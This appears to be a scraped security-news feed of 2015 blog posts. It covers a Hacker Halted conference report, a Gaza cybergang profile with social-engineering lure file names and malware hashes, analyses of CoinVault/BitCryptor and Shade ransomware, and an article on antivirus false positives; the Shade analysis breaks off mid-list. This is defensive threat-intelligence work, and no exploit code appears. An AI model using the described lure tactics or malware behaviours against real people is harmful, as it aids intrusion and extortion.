Malware RSS Feed

Point of view: Hacker Halted 2015

Malware Alerts - Fri, 10/02/2015 - 04:55

“This way please,” says one of the officers pointing to a corridor lined with small rooms for interrogation.

“Purpose of your visit?”

“I’m a speaker at the Hacker Halted 2015 conference.”

“Final destination?”

“Atlanta, Georgia…”

After a half-hour conversation, we get our luggage back, leave the airport and then we’re hit by the hot air and jet lag. Welcome to the United States.

Hacker Halted USA 2015

The Hacker Halted USA event organized by the professional organization EC-Council (yes, the same organization that developed the Certified Ethical Hacker course that is now renowned in our industry) is held once a year and, as usual for this kind of conference, it brings together technical experts in the field of information security as well as a business audience. The choice of Atlanta was no coincidence: the climate suits sun worshippers, while the heat during the day deters you from leaving the hotel, and is possibly an additional “motivation” for some to listen to the presentations.

The main theme of the conference, which was touched on in one way or another in the speakers’ reports, was “The Cyber Pandemic” – associating technological imperfections with a kind of plague sweeping our society. And, as you can probably guess, the speakers had to analyze the details of this social “disease” and come up with a “vaccine”.

At Hacker Halted USA 2015 there was nothing to distract participants from the main content, such as separate rooms for fans of CTF or hack quests, and no workshops. On the one hand, it allowed the attendees to concentrate on the presentations and take in more information; on the other hand, it may have got a little tedious for those who like hacking things. The audience at the conference, in our subjective opinion and after chatting with other participants, appeared to be weighted more towards business. Proof of this came at a separate section with the companies’ stands. But, having said that, there was also a dedicated section for aficionados of “hardcore” presentations.

The exhibition highlighted a lot of start-ups and small companies from the IT security industry that are almost unknown in the Russian market and which focus on a narrow niche. Some might find it unsurprising, but if you draw a parallel with the typical Russian IT security exhibition, where every stand belongs to a real industry heavyweight, the information security market in the United States resembles more of a supermarket with a huge range of goods and services.

About the reports

As is traditional, the first day was given over to the key reports. After the opening speech delivered by Jay Bavisi (President of EC-Council) and a monologue about lofty matters and “The Cyber Pandemic”, we went to the “Cut the Crap – Show Me the Hack” section. As you might guess from the name, all the reports here were focused on practical aspects of information security, and thus were of special interest for us.

The report entitled “SAP Afaria – One SMS to Hack a Company” by our compatriot Dmitry Chastukhin lived up to the theme of Show Me the Hack most of all. There was a lot of technical information about the features of the system that was analyzed, a description of vulnerabilities and various shortcomings in its configuration, as well as a demonstration of the operating script on a small stand.

“Dima, you’re up in five minutes. Ready?”

“Yes, I’m just thinking of a quick video demonstration…”

The BYOD (bring your own device) policy is becoming a corporate standard, and businesses require security solutions that take into account their mobile ecosystem. MDM (mobile device management) solutions are the answer and the Afaria platform from SAP is one of them. Its popularity is confirmed by the fact that over 130 million mobile devices are running under its control in more than 6,000 organizations.

One of the vulnerabilities mentioned by Dima allows the attacker to send corporate messages from the Afaria server to the mobile phone. These messages are intended for remote mobile infrastructure administration and allow the administrator to perform a variety of critical actions, such as remotely wiping the data, blocking the device, disabling Wi-Fi, etc. However, an attacker who knows the IMEI of the employee’s mobile device can generate a corporate message and send it to a corporate mobile device. As a result, the data could be wiped from the phone or it could be blocked, etc. In addition, the attacker could use social engineering techniques to trick the owner of the device and continue the attack on the corporate infrastructure. This may lead to significant reputational and financial damage and even bring a company’s operations to a complete halt.

Another interesting vulnerability mentioned in the report is the XSS stored on the administrative console of the MDM solution, but with one special feature: the attacker only has to send a specially generated packet to the port of the MDM server that will embed the JS code in the page of the administrative console. The subsequent attack scenario typically unfolds as follows: the administrator enters the console, the code is automatically executed, and the attacker gains administrative control.

About our presentation

“The theme of user de-anonymization in the dark net is becoming increasingly important. Our report analyzes the methods of exploiting vulnerabilities on onion resources and some of the configuration shortcomings that make it possible to get information about a Tor user” – this is the abstract from our report which we delivered in the “Show Me the Hack” section. Hundreds of eyes on us, dozens of questions after the presentation, swapping of contact details and business cards – all this suggests the report was of some interest to the audience.

Another report attracted attention with its title containing only the name of the speaker – “Sean Bodmer”. Mr. Bodmer is the founder of a company developing something similar to a honeypot, but no ordinary honeypot – it is proactive. Legally speaking this is something of a delicate matter – is it permissible to attack the attacker? These types of solutions are designed to confuse the attacker, to waste his time, energy and resources on studying the targeted system.

Sean Bodmer’s report contained a few valuable thoughts. For example, if the attacker has already penetrated the infrastructure, its owner can do whatever he wants with him. The key point is that all counter measures are performed within the compromised infrastructure, because execution of code on the attacker’s machine is illegal (unless you are a government agency that has been attacked by an enemy state).

Finally, one of the most anticipated presentations was that of Chris Roberts, famous for his tweets about “breaking the plane”. Of course, no practical things, zero-day vulnerabilities or the attack scenarios were mentioned for obvious reasons, but the report contained valuable ideas that were very well presented by the speaker. Chris tried to explain to businesses why cybercriminals are constantly trying to hack them, how to interpret incidents correctly and, most importantly, how to communicate with the “offensive” guys (researchers) and their initiatives (providing information about bugs). A man who once had his wings singed attempting to publish information about vulnerabilities in aircraft onboard systems shared his invaluable experience and conclusions. Don’t shoot the messenger!

The Hacker Halted conference, despite a noticeable bias towards business, has left only positive impressions. Continuous dialogue with the speakers, participants and just people we met on another continent, is about more than just participating in a conference. Reports are always informative, but the main value of any event is meeting and communicating with people in person.


SANS Tip-of-the-Day - Wed, 09/30/2015 - 01:00
Make sure you have anti-virus software installed on your computer and that it is automatically updating. However, keep in mind that no anti-virus can catch all malware; your computer can still be infected. That is why it's so important you use common sense and be wary of any messages that seem odd or suspicious.

Gaza cybergang, where’s your IR team?

Malware Alerts - Mon, 09/28/2015 - 04:00

Summary information:

Gaza cybergang is a politically motivated Arabic cybercriminal group operating in the MENA (Middle East North Africa) region, mainly Egypt, United Arab Emirates and Yemen. The group has been operating since 2012 and became particularly active in Q2 2015.

One interesting new fact about Gaza cybergang activities is that they are actively sending malware files to IT (Information Technology) and IR (Incident Response) staff; this is also obvious from the file names they are sending to victims, which reflect the IT functions or IR tools used in cyber attack investigations.

IT people are known for having more access and permissions inside their organizations than other employees, mainly because they need to manage and operate the infrastructure. This is why getting access to their devices could be worth a lot more than for a normal user.

IR people are also known for having access to sensitive data related to ongoing cyber investigations in their organizations, in addition to special access and permissions enabling them to hunt for malicious or suspicious activities on the network…

The main infection modules used by this group are pretty common RATs: XtremeRAT and PoisonIvy

Some more interesting facts about Gaza cybergang:

  • Attackers take an interest in government entities, especially embassies, where security measures and IT operations might not be well established and reliable
  • Use of special file names, content and domain names (e.g., has helped the group perform better social engineering to infect targets
  • Increasing interest in targeting IT and IR people, which is clear from most of the recent malware file names used

Other operation names:

  • DownExecute
  • MoleRATs
Political file names targeting Arabic countries

File name: بوادر خلاف جديد بين الامارات والسعودية.exe

Translation: Indications of disagreement between Saudi Arabia and UAE.exe

Filename: “Wikileaks documents on Sheikh ******* *** *****.exe”

File name: صور فاضحـــــة جدا لبعض العسكريين والقضاة والمستشاريين المصريين.exe

Translation: Scandalous pictures of Egyptian militants, judges and consultants

File name: -> الرئيس الفلسطيني محمود عباس يشتم ماجد فرج.exe

Translation: President Mahmoud Abbas cursing Majed Faraj.exe

File name: “مكالمة مسربة بين القائد العام للقوات المسلحة المصرية صدقي صبحي.exe”

Translation: Leaked conversation with the Egyptian leader of military forces Sodqi Sobhi.exe

File name: tasreb.rar

IT and IR Malware File Names VCSExpress.exe Hex.exe Microsoft Log.exe IMP.exe Win.exe Corss.exe WinRAR.exe AVR.exe ccleaner.exe codeblocks.exe HelpPane.exe Hex_Workshop_Hex_Editor-o.exe Help.exe Decoded.exe vmplayer.exe Decrypted.exe procexp.exe crashreporter.exe RE.exe WindowsUpdate.exe PE.exe AVP.exe PE-Explorr.exe Kaspersky.exe PE-Explorr.exe Kaspersky.exe hworks32.exe Kaspersky Password Manager.exe

Other malware file names

وصية وصور الوالد أتمنى الدعاء له بالرحمة والمغفرة.exe

Military Police less military sexual offenses, drug offenses more.exe


IP addresses and domain names used in the attacks Domains IP addresses Malware Hashes 302565aec2cd47bb6b62fa398144e0ad f94385be79ed56ef77c961aa6d9eafbf f6e8e1b239b66632fd77ac5edef7598d a347d25ed2ee07cbfe4baaabc6ff768b 8921bf7c4ff825cb89099ddaa22c8cfd 674dec356cd9d8f24ef0f2ec73aaec88 3bb319214d83dfb8dc1f3c944fb06e3b e20b5b300424fb1ea3c07a31f1279bde 826ab586b412d174b6abb78faa1f3737 42fca7968f6de3904225445312e4e985 5e255a512dd38ffc86a2a4f95c62c13f 3dcb43a83a53a965b40de316c1593bca 058368ede8f3b487768e1beb0070a4b8 e540076f48d7069bacb6d607f2d389d9 62b1e795a10bcd4412483a176df6bc77 699067ce203ab9893943905e5b76f106 39758da17265a07f2370cd04057ea749 11a00d29d583b66bedd8dfe728144850 f54c8a235c5cce30884f07b4a8351ebf d5b63862b8328fb45c3dabdcdf070d0d 9ea2f8acddcd5ac32cfb45d5708b1e1e bc42a09888de8b311f2e9ab0fc966c8c 948d32f3f12b8c7e47a6102ab968f705 c48cba5e50a58dcec3c57c5f7cc3332d 868781bcb4a4dcb1ed493cd353c9e9ab 658f47b30d545498e3895c5aa333ecb1 3c73f34e9119de7789f2c2b9d0ed0440 2b473f1f7c2b2b97f928c1fc497c0650 9dccb01facfbbb69429ef0faf4bc1bda 46cf06848e4d97fb3caa47c17cdd7a9e 4e8cbe3f2cf11d35827194fd016dbd7b 6eb17961e6b06f2472e4518589f66ab9 b4c8ff21441e99f8199b3a8d7e0a61b9 b0f49c2c29d3966125dd322a504799c6 4d0cbb45b47eb95a9d00aba9b0f7daad ca78b173218ad8be863c7e00fec61f2f 18259503e5dfdf9f5c3fc98cdfac6b78 23108c347282ff101a2104bcf54204a8 0b074367862e1b0ae461900c8f8b81b6 76f9443edc9b71b2f2494cff6d4a26a8 89f2213a9a839af098e664aaa671111b Phishing Hashes


Additional references

Coinvault, are we reaching the end of the nightmare?

Malware Alerts - Thu, 09/17/2015 - 00:00

A day after we published our No Ransom Campaign decryptor in the fight against the CoinVault ransomware, we were contacted by a fellow researcher from Panda, Bart Blaze. He kindly suggested that new variants of this dreadful ransomware were available and that he would happily share them with us. After obtaining the new MD5 hashes for the files, we set out to find more clues, more files, and to analyse what these new malware variants had to reveal: three malware families that had striking similarities with each other.

In the end we found some interesting surprises (for more details about what we found, please read on).

However, the best thing was that, based on our analysis, the National High Tech Crime Unit of the Dutch police was able to apprehend two suspects last Monday.

The story begins with CoinVault

Our search began with the discovery of the first version of CoinVault, in May 2014 (please see the table at the bottom of this post for MD5s and additional information on this, and other, hashes). Interestingly enough, this sample did not run on every computer, so we have omitted any further analysis of this version here.

Then suddenly there was Comhost

Two months after we detected the initial version of CoinVault, we detected two near-identical samples. The two files differed only in how the malware was unpacked and executed from the resource section in the binary.

Both binaries loaded the same payload, an executable known as ‘comhost.exe’. Comhost was completely different from CoinVault in terms of functionality. While CoinVault fell into the category of traditional ransomware (until this point, at least), Comhost was more of an infostealer. If you cannot wait to find out more, please skip forward!

Once executed, the malware resolved the two hardcoded domain names to IP addresses. After that it started the keylogger and a timer. Once the set time had elapsed, the search for bitcoin wallets began. Most likely the attackers implemented this functionality because mining for bitcoins has become increasingly hard.

In addition, the malware was able to execute commands received from the C2.

Back to CoinVault

Fast forward two months and we saw another example of CoinVault. This time the program code had striking similarities with Comhost. For example, some functions such as fixNOIPhosts(), were almost identical, marking a clear connection between CoinVault and Comhost. The design of the program was also very similar to Comhost.

Fortunately, the authors of this piece of malware made a small mistake. Instead of overwriting the original file with encrypted content, they created a new file in the same directory with a ._clf extension.

Next, the original file was deleted by calling the File.Delete() function. Internally, this method was implemented as a call to the Win32Native.DeleteFile() function. The DeleteFile function marked the file as deleted in the MFT entry. This meant that CoinVault victims, who got infected with this specific version of the malware, were probably able to retrieve deleted files during forensic activity (when not too much disk activity had taken place after deleting the file).

The introduction of the S.H.I.E.L.D Runner and added functionality

One month after the appearance of the last CoinVault sample, a new version of Comhost was introduced. This was the first sample that contained the “S.H.I.E.L.D Runner”. The functionality of this particular piece of code has already been discussed in a previous blogpost

Apparently the malware authors were not quite satisfied with the previous version of Comhost. They forgot to add a keylogger functionality (to check for caps lock etc.) Another interesting added feature was the antivirus and default browser collection feature, which sent information on these programs to the C2. However, the most interesting new feature was the ActivecaptionWatcher class, which was able to take screenshots and send these to the C2.

Mailspreader and added obfuscation

In November 2014 we had already written about CoinVault: this post discussed the sample that appeared a few weeks after the last version of Comhost. All the samples that appeared around this date were obfuscated with Confuser. But one thing that we omitted in our analysis was a functionality that we couldn’t really place back then: the internal class ’emailDownloader’.

This class contained some interesting pieces of code that needed to be further analysed. The presence of several executable files was referenced, but where were they? And more importantly, what was their role during the infection?

As it turns out, these files were dropped by the third piece of malware from the CoinVault family: the Mailspreader. The resources section within the binary shows that several files were embedded and we extracted them in order to study them separately.

Code economy is a common pattern between all the modules found within CoinVault samples. The functionality was simple but more than enough to achieve the desired results. A thread was created and then started in order to utilize all the benefits offered by the ‘MailSpreader.exe’ file.

As mentioned before, the C2 we discovered is shared with another sample, which had similar characteristics (MD5 hash value of AF0E5A5DF0BE279AA517E2FD65CADD5C), another indicator of the relationship between CoinVault and Mailspreader.

Using these executable files and a straightforward manner of making the infection ‘invisible’, the bad guys launched a new process that was hidden almost instantly, putting all the malicious email code to work.

We still haven’t answered the question of what these executable files represent, or what their real use is in this ransomware scheme. We’ll start with ‘mailpv.exe’, which was part of CoinVault, presenting some ‘dropper’ methods to actually obtain the primary payload. For ‘nk2edit.exe’ and ‘livecv.exe.’ A quick Google search revealed their true nature: both were legitimate tools used to interact with Outlook and Windows Live messenger.

The file ‘livecv.exe‘ had an MD5 hash of D7FC749BB3B10FCC38DE498E8DB2639A, and presented a verified signature for the executable. As per the developer’s description of the utility, ‘LiveContactsView is a small utility that allows you to view the details of all contacts in your Windows Live Messenger’.

The same happened after checking ‘nk2edit.exe‘ (C1A591727E4519AC0D94C59B680E00E4). This is a convenient utility that interacts with the AutoComplete list address book in Microsoft Outlook.

RIP CoinVault

After the previous release of our CoinVault research, this threat and its creators remained silent for a while. It wasn’t until April 2015 that a new sample was spotted in the wild. The most noteworthy change was the presence of flawless Dutch phrases throughout the binary. Dutch is a relatively difficult language to write without any mistakes. Therefore, we suspected at the beginning of our research that there was a Dutch connection to the alleged malware authors.

Other interesting added functionality was the checking and killing of analysis and detection processes such as processhacker, spyhunter, roguekiller, etc. Moreover, this version also came with support for storing configuration data in .ini files.

Shortly after these new versions emerged, the Dutch police was able to seize the C2 server used by the criminals and provide us with the bitcoin wallet IDs, IVs and keys necessary for creating and providing a decryption tool.

And then…it stopped. We didn’t hear anything about CoinVault for a while and it seemed the campaign had ended.

Hello Bitcryptor

We were right that CoinVault had stopped. However, one month later BitCryptor emerged.

BitCryptor is clearly the successor of CoinVault, since most of the code is exactly the same. However, BitCryptor is not like the previous versions of CoinVault targeting a Dutch audience. All the written Dutch has been removed (as have all the links to CoinVault). A little feature has been added, that runs in the background and checks if the victim has already paid.


Since our initial report on CoinVault, and the presentation of the No Ransom campaign, the cybercriminals responsible for these creations have been trying to modify their creations to keep on targeting new victims. Winning the battle against ransomware is a joint effort between law enforcement, private companies and end-users. In this particular case, by working together, we achieved a great result: the apprehension of two suspects.

Nevertheless, now more than ever, education about how these threats operate and target victims is of paramount importance, along with alerting and reporting new incidents as soon as possible. Thanks to our fellow researcher Bart Blaze for sharing the samples – indeed we had a happy reversing time


0f1830174d7b08c0d1fcd9aea00cdc97 Trojan-Ransom.MSIL.CoinVault.l
10438b6d4f479779234ef60560d2f40c Trojan-Ransom.MSIL.CoinVault.p
174a3f6982d254a74d2db202fd87ec26 Trojan-Ransom.MSIL.CoinVault.f
289b43d3c234585285a38b2a0f4db2e3 Trojan-Ransom.MSIL.CoinVault.i
2f707ed9f368cd5838f5fb76abcd5bd9 Trojan-Ransom.MSIL.CoinVault.q
30bc17990350f44d74f4a2ca25cdb9e3 Trojan-Ransom.MSIL.CoinVault.s
45db7e51b39fd0669b4f78eedc00ad2f Trojan-Ransom.MSIL.CoinVault.n
4d46310bdfdc5c49615be5c61b13c8ae Trojan-Ransom.MSIL.CoinVault.r
4d52e7e6f4dc77c39c50ed84ce1b10b5 Trojan-Ransom.MSIL.CoinVault.s
60a5b27a525ca21026ffff1f0d0baa6a Trojan-Ransom.MSIL.CoinVault.t
648280e5ba36ff038e97e444ecdb9d8e Trojan-Ransom.MSIL.CoinVault.g
716dfea51b1a8d95859cfda38ff7fa9d Trojan-Ransom.MSIL.CoinVault.j
73848ec02d5d9f4d0fdd5be31ef86449 Trojan-Ransom.MSIL.CoinVault.u
78fd303be07db8fa35b98645bef10ca4 Trojan-Ransom.MSIL.CoinVault.v
7fff4eabcdfb21e7884a240e668f1e8b Trojan-Ransom.MSIL.CoinVault.i
876050d738f434fc149970cc0d073dbe Trojan-Ransom.MSIL.CoinVault.w
8e1bdc1c484bc03880c67424d80e351d Trojan-Ransom.MSIL.CoinVault.x
a6499dac9a7b59830c77442eb030c93c Trojan-Ransom.MSIL.CoinVault.a
a76df48770a6cffc62e4d1a21749071b Trojan-Ransom.MSIL.CoinVault.m
a90d5d05728fec4c592393c7f4ec173e Trojan-Ransom.MSIL.CoinVault.e
ac4b5ce347820c8817afd49eacee3ec5 Trojan-Ransom.MSIL.CoinVault.y
af0e5a5df0be279aa517e2fd65cadd5c Trojan-Ransom.MSIL.CoinVault.z
aff8fefe76cc51d5e7120ef3f422ce29 Trojan-Ransom.MSIL.CoinVault.ah
b3a7fc445abfba3429094542049063c2 Trojan-Ransom.MSIL.CoinVault.x
b3bb6facbb557ddd9aada93f6b2efab8 Trojan-Ransom.MSIL.CoinVault.h
b3e1c2fce9763a2bdd08223c406bcf7f Trojan-Ransom.MSIL.CoinVault.aa
b92ec8ccc085b853545fc54781d0c1a3 Trojan-Ransom.MSIL.CoinVault.ab
cb91d0db64d9245426c7789ed00ba4d3 Trojan-Ransom.MSIL.CoinVault.k
d5f291f2bc38873e145f6e6b13fb05db Trojan-Ransom.MSIL.CoinVault.d
e7414d82d69b902b5bc1efd0f3e201d7 Trojan-Ransom.MSIL.CoinVault.b
f293970741bbe0ee0c1b8ce6cb045d4d Trojan-Ransom.MSIL.CoinVault.b

Can an inevitable evil be conquered?

Malware Alerts - Wed, 09/16/2015 - 04:07

Scanning an object (a file or web resource) with an Internet security program essentially comes down to making a binary decision: dangerous or safe? An antivirus engine puts forward the hypothesis that an object is malicious and then checks whether this is true or not. Since there are, unfortunately, no perfect antivirus solutions, errors can occur. There are two types of error: the first kind is when safe objects are identified as dangerous; the second kind – when dangerous objects are identified as safe. Using the terminology inherited from mathematical statistics, errors of the first kind are called false positives.

Security system developers have varying attitudes towards false positives. Some regard the objective of combating infection as a higher priority. Kaspersky Lab’s position on this is absolutely clear: preventing false positives is as important as protecting against malware. Below, we look at the methods of fighting false positives, using our company as an example.

The negative positive

For the user, a false detection by the security solution means being unable to access a web resource or use a safe program. Regardless of how important a specific file or website is, a false detection is always an annoyance that can lead to a disruption of business processes.

If a program that has just been written by a user is falsely identified as dangerous, its author will send a complaint to the antivirus vendor, analysts will recognize the error and correct it next time the antivirus databases are updated. This usually takes several hours – provided, of course, that the program does not actually do anything beyond what is permissible for legitimate applications.

It is a completely different situation if an operating system component is identified as malicious. This could lead to much more dire consequences, sometimes as grave as system failure. And if this kind of false positive affects a large company, it will inevitably result in downtime and, as a consequence, lost profits. This is why we believe that companies that develop security systems should be very careful about errors of this type and should try to keep them to a minimum.

Reasons for false positives

First of all, it is essential to identify the reasons for such errors. These can vary.

The human factor is one possible reason for a false detection: an antivirus analyst is not immune to making mistakes. It is worth noting, however, that in today’s world instances of this are extremely rare, since nearly all threats (99%) are now detected automatically.

A false positive can occur when developers of legitimate applications use obfuscation (code entanglement) and packing (executable file compression). Cybercriminals often use these methods to make malware analysis more difficult, which is why security systems may suspect such applications of being malicious.

A false positive can be the result of using a generic signature that detects similar malicious objects. We have known for a long time that malicious objects are often variants of the same code. This means that by using more ‘intelligent’ classification methods we can identify a part that is common to all the similar malicious samples and create a single detection logic (i.e. a signature) that will provide detection of all the similar objects. Such generic signatures are created by different detection systems. The broader the criteria used by a system to identify the similar part of malicious objects, the greater the chances of the signature being triggered by a similar but innocuous object.

Finally, an object can be mistakenly identified as malicious by technologies that analyze program behavior. For example, if an unknown application begins to make suspicious changes to the system registry or to send the user’s private data over the network, the component that tracks operating system events should raise an alarm. The program doing this could be quite harmless, just not used very often.

Fighting false positives

Analysts have understood the potential consequences of false positives practically from the inception of the industry. However, both the number of users and the number of Internet threats was thousands of times smaller back then and antivirus databases were released at much longer intervals. This being the case, the methods used 18 years ago to check antivirus databases were fairly uncomplicated: developers had a collection of critical clean files (primarily system files) and the experts simply scanned the collection using the new database before releasing an update. If there was a false positive, the relevant detection was removed after the first complaints were received. That is, the analyst team manually corrected the databases, preventing the threat from reaching a large number of users.

With time, the stream of malware has grown thousands of times, both malicious programs and technologies used to detect malicious objects have become more sophisticated. Kaspersky Lab currently detects 325,000 new malicious objects every day. The range of methods used to combat Internet threats has also broadened: whereas in the nineties signature-based detection methods were quite equal to the task of protecting a computer, now Kaspersky Lab products include technologies that automatically prevent vulnerabilities from being exploited, tools for controlling application privileges, a component that tracks operating system events, and a range of other technologies. In addition, modern legitimate software databases take up terabytes of disk space.

Clearly, in such conditions it is no longer possible to use the archaic methods of fighting false positives. Today’s false positive prevention technologies are much more varied and effective. These methods are used both at the stage of detecting malicious objects and at that of testing and releasing databases. There is also a separate set of methods that help to minimize the chances of false positives appearing while a security product is operating.

Signature control

As Captain Obvious would put it, the easiest way to avoid false positives is to release error-free signatures. This is why special attention is given to the stages in which malicious object signatures are created. But even if an error manifests itself later, there is a way to correct the situation rapidly, even if the databases have already been installed on the user’s machine.

Detection stage (creating static signatures)

First, a dedicated automatic verification system analyzes the static signatures manually added to the databases by virus analysts. This is because a person, concentrating on closely analyzing code, may not see the complete picture. So, when somebody tries to add a signature to the database for an object that the system perceives as clean based on certain criteria, the automatic system reports the potential error to the analyst, together with the reasons for believing the object is clean.

Second, a collection of hashes (unique results of code transformation based on a specific algorithm) for objects known to be ‘clean’ is used to test new signatures for false positives. A signature created using a fragment of malicious code is matched against hashes from the collection. If the system detects that the new signature matches a legitimate object’s hash based on some criteria, a different code fragment is selected to create a signature for the threat.

Kaspersky Lab also keeps a separate database that contains the ‘personal record’ of each malicious object ever analyzed with protection technologies. When creating a detection, the past of a detected object is taken into account: if the object did not raise any suspicion in the past, it undergoes an additional check.

Additionally, a collection of files that have triggered false detections in the past is used for protection against errors. It helps to prevent incidents from occurring again if an object has been slightly modified (e.g. when a new version of a program is released).

Generic signatures are periodically added to static signature databases: if the automatic detection system registers lots of similar malware samples, a single detection logic is created to combat them.

Database testing and release stage

To ensure that signatures (static or generic) will not be triggered by ‘clean’ software, newly created databases are verified using the Dynamic Whitelist knowledge base. It is an enormous, continually expanding collection of legitimate software that also contains additional data on each object (developer, product name, the latest update version and much more). More detailed information on Dynamic Whitelist operation can be found here.

A special department at Kaspersky Lab is in charge of maintaining this collection and providing timely updates. Thanks to agreements signed with more than six hundred software development companies, most popular applications are included in the collection before they become commercially available to a broad user audience.

The system that performs the scanning deserves a separate mention. Since the legitimate software database is enormous and antivirus databases are updated once an hour, using a regular server to do the scanning is not an option. A distributed data processing system was developed specifically for this purpose. It uses dozens of servers and data storage facilities for load balancing.

All signatures that have raised even minor suspicions are entered into a separate register that can be called ‘potentially dangerous verdicts’. Such signatures undergo additional verification, often involving malware analysts.

Rapid response (fighting false positives at the operation stage)

When antivirus databases have passed all the necessary checks, they are distributed to users. The Kaspersky Security Network distributed cloud infrastructure receives statistics on any detections on user machines and tracks how many times each signature has been triggered.

Analysts responsible for releasing signature databases continue to carefully track how products respond to updates. If an anomaly is detected (a threat has been detected on too many user machines within a short time period), this could mean there is a false positive. In that case, an analyst receives an alert and begins to perform additional analysis of the detected object.

If analysis indicates that the object was identified as malicious by mistake, the Record Management System technology is triggered. It can recall a record in a matter of seconds, also using the Kaspersky Security Network. The incorrect signature is removed from databases, as well. If it turns out that a generic signature mistakenly detects ‘clean’ objects among others, analysts change the detection logic and correct the databases. In any case, by the next database update, the error will have been corrected.

Tracking proactive technology errors

At the development stage it is not so easy to check technologies that detect anomalous program behavior on user machines for false positives. Foreseeing all possible actions by the user on the machine and all the possible variants of ‘clean’ software that might be used in the process is virtually impossible. That is why it is primarily cloud technologies that protect users from false detections caused by proactive technologies.

When a product detects an unknown object – i.e. there is no information about it in local antivirus databases – the object’s hash is immediately sent to the cloud infrastructure, which responds with any available information in a split second. If the object is on the white list of trusted software, the object is recognized as safe.

In addition, cloud technologies can verify a suspicious file’s digital signature and the reputation of the company that issued the digital signature certificate. If the reputation is faultless and the certificate is genuine, this also indicates that the object is legitimate. It is worth noting that company reputation and signature data is not static. If incidents are reported, this may result in the loss of trust, leading to a change in the security solution’s response to the same files.

Proactive detection tools require particularly close attention when product functionality is being upgraded. When newly upgraded technologies start working in the field for the first time after lab testing, unforeseen errors may arise. This is why a phased approach is used instead of activating new protection mechanisms in all products at once. First, upgrades are supplied to a limited test group. If this does not result in false positives, the new features are made available to a broader user group. As a result, even if a new technology proves faulty, most users will never be aware of the fault.

Fighting false positives when scanning web resources

It is worth adding a few words about technologies that protect against false positives when scanning web resources. Kaspersky Security Network can track a resource’s reputation history. If malicious content is detected on one of the site’s pages, whether the site will be blocked completely or partially depends on its reputation. If the site has an impeccable reputation, Kaspersky Lab solutions will only block the page that poses a threat to users rather than the entire website.

Kaspersky Security Network also tracks the history of web resource hits. If a site that is popular with users is identified as dangerous, the automatic system will alert analysts, who will do an additional check. This helps to prevent false detections of popular resources.


False detections by security products are unavoidable – there are no ideal solutions. However, it is the objective of vendors to reduce them to a minimum. This is a feasible task.

Kaspersky Lab experts carefully monitor the operation of protection technologies to prevent them from making errors. For each type of object in which a threat can potentially be found (web pages, files, banners, boot sectors, traffic streams, etc.), there are special mechanisms designed to prevent false positives and separate collections of objects known to be clean.

Kaspersky Lab has a dedicated group responsible for improving existing methods of fighting false positives and developing new ones. It investigates each case, analyzes why a false detection occurred and creates tools that help to prevent similar errors in the future.

It is largely thanks to the efforts of this group that virtually no false positives have come up lately in tests of Kaspersky Lab products carried out by independent researchers.

Securely Deleting Files

SANS Tip-of-the-Day - Mon, 09/14/2015 - 22:04
When you delete a file, that file is actually still on your computer. The only way you can truly and securely remove a file is by wiping it or using some type of secure deletion.

The Shade Encryptor: a Double Threat

Malware Alerts - Mon, 09/14/2015 - 08:54

A family of ransomware Trojans that encrypts files and adds the extensions “.xtbl” and “.ytbl” emerged in late 2014/early 2015, and quickly established itself among the top three most widespread encryptors in Russia (along with Trojan-Ransom.Win32.Cryakl and Trojan-Ransom.BAT.Scatter). This threat has been assigned the verdict Trojan-Ransom.Win32.Shade according to Kaspersky Lab’s classification. The original name given to the encryptor by its creator is not known; other security vendors detect it as Trojan.Encoder.858, Ransom:Win32/Troldesh.

There has been no appreciable evolution of this Trojan over time – only the format of the encrypted file’s name, the C&C server addresses and the RSA keys have been changing.

There are two main methods used to deliver the malware to victims’ computers: spam messages and exploit kits (in particular, NuclearEK).

When delivered via spam, the user receives a letter with a malicious file attached. The system is infected when the user attempts to open the attachment. The following file names have been used when spreading Trojan-Ransom.Win32.Shade:

  • doc_dlea
  • doc_dlea podpisi.rar
  • documenti_589965465_documenti.rar
  • documenti_589965465_doc.scr
  • doc_dlea podpisi.rar
  • неподтвержден 308853.scr
  • documenti dlea podpisi 05.08.2015.scr.exe
  • akt sverki za 17082015.scr

It should be noted that the file name changes for each mass mailing campaign, so the potential file names are not limited to those listed above.

The second delivery mechanism – via exploit kit – is more dangerous because the infection occurs when the victim unwittingly visits a compromised website. It may be a site belonging to cybercriminals, or a legitimate resource that has been hacked. In most cases, the user is completely unaware of the danger the website poses. Malicious code on the website exploits a vulnerability in the browser or a plugin, and the Trojan is then covertly installed in the system. Unlike the spam delivery method, the victim doesn’t even have to run an executable file.

After Trojan-Ransom.Win32.Shade ends up in the system, it connects to a C&C server located in the Tor network, reports the infection and requests a public RSA-3072 key that is subsequently used to encrypt files (as discussed below). Should the connection attempt fail, the Trojan chooses one of the 100 public keys that are stored within its body for just such an eventuality.

The Trojan then starts encrypting files. While scanning for objects to encrypt, it uses the static list of extensions shown in the screenshot below.

When encryption is complete, a menacing image is set as the desktop background:

The Trojan leaves ransom demands in the files README1.txt, …, README10.txt. The contents of these files are always the same:

However, unlike most other encryptors, Trojan-Ransom.Win32.Shade doesn’t stop there. It doesn’t terminate its process, but instead starts an infinite loop in which it requests a list from the C&C server containing the URLs of additional malware. It then downloads that malware and installs it in the system. This sort of activity is typical of download bots. We have spotted malware from the following families being downloaded:

  • Trojan.Win32.CMSBrute (a more detailed description is provided below).
  • Trojan.Win32.Muref
  • Trojan.Win32.Kovter
  • Trojan-Downloader.Win32.Zemot

Below is the code for the download and listening loop:

It is therefore very important to run a complete anti-malware scan of the computer if the Shade encryptor (or the .xtbl, .ytbl files it creates) is detected. If left untreated, the system will most probably remain infected with several malicious programs downloaded by the encryptor.

Common features of Shade family Trojans
  • Written in C++ using STL and its own classes.
  • Statically linked with Tor client.
  • Uses boost (threads), curl, OpenSSL libraries.
  • Each sample has the URL of a C&C server hardcoded in it. A total of 10 C&C server addresses were identified in various samples, eight of which are currently active. All the C&C servers are located in the Tor network.
  • All strings (including the names of imported functions) are AES encrypted. They are decrypted when the program starts, then the import table is dynamically populated.
  • Prior to setting the new desktop background, the old one is saved in the registry.
  • Typically packed with UPX and an extra packer. Once unpacked, it is 1817 KB in size.
  • Creates 10 identical files named README1.txt, …README10.txt on the victim computer, containing ransom demands in Russian and English.
  • A unique 256-bit AES key is generated to encrypt the contents and the name of each file. The encryption is done in CBC mode with a zero initialization vector.
  • Contains 100 public RSA-3072 keys with the public exponent 65537 (A total of 300 different public keys were detected in various samples).
  • Has the capability of downloading and launching malware.
The cryptographic scheme Generating an infected computer ID
  1. The Trojan obtains the computer name (comp_name) with the help of API function GetComputerName, and the number of processes (num_cpu) with the help of API function GetSystemInfo;
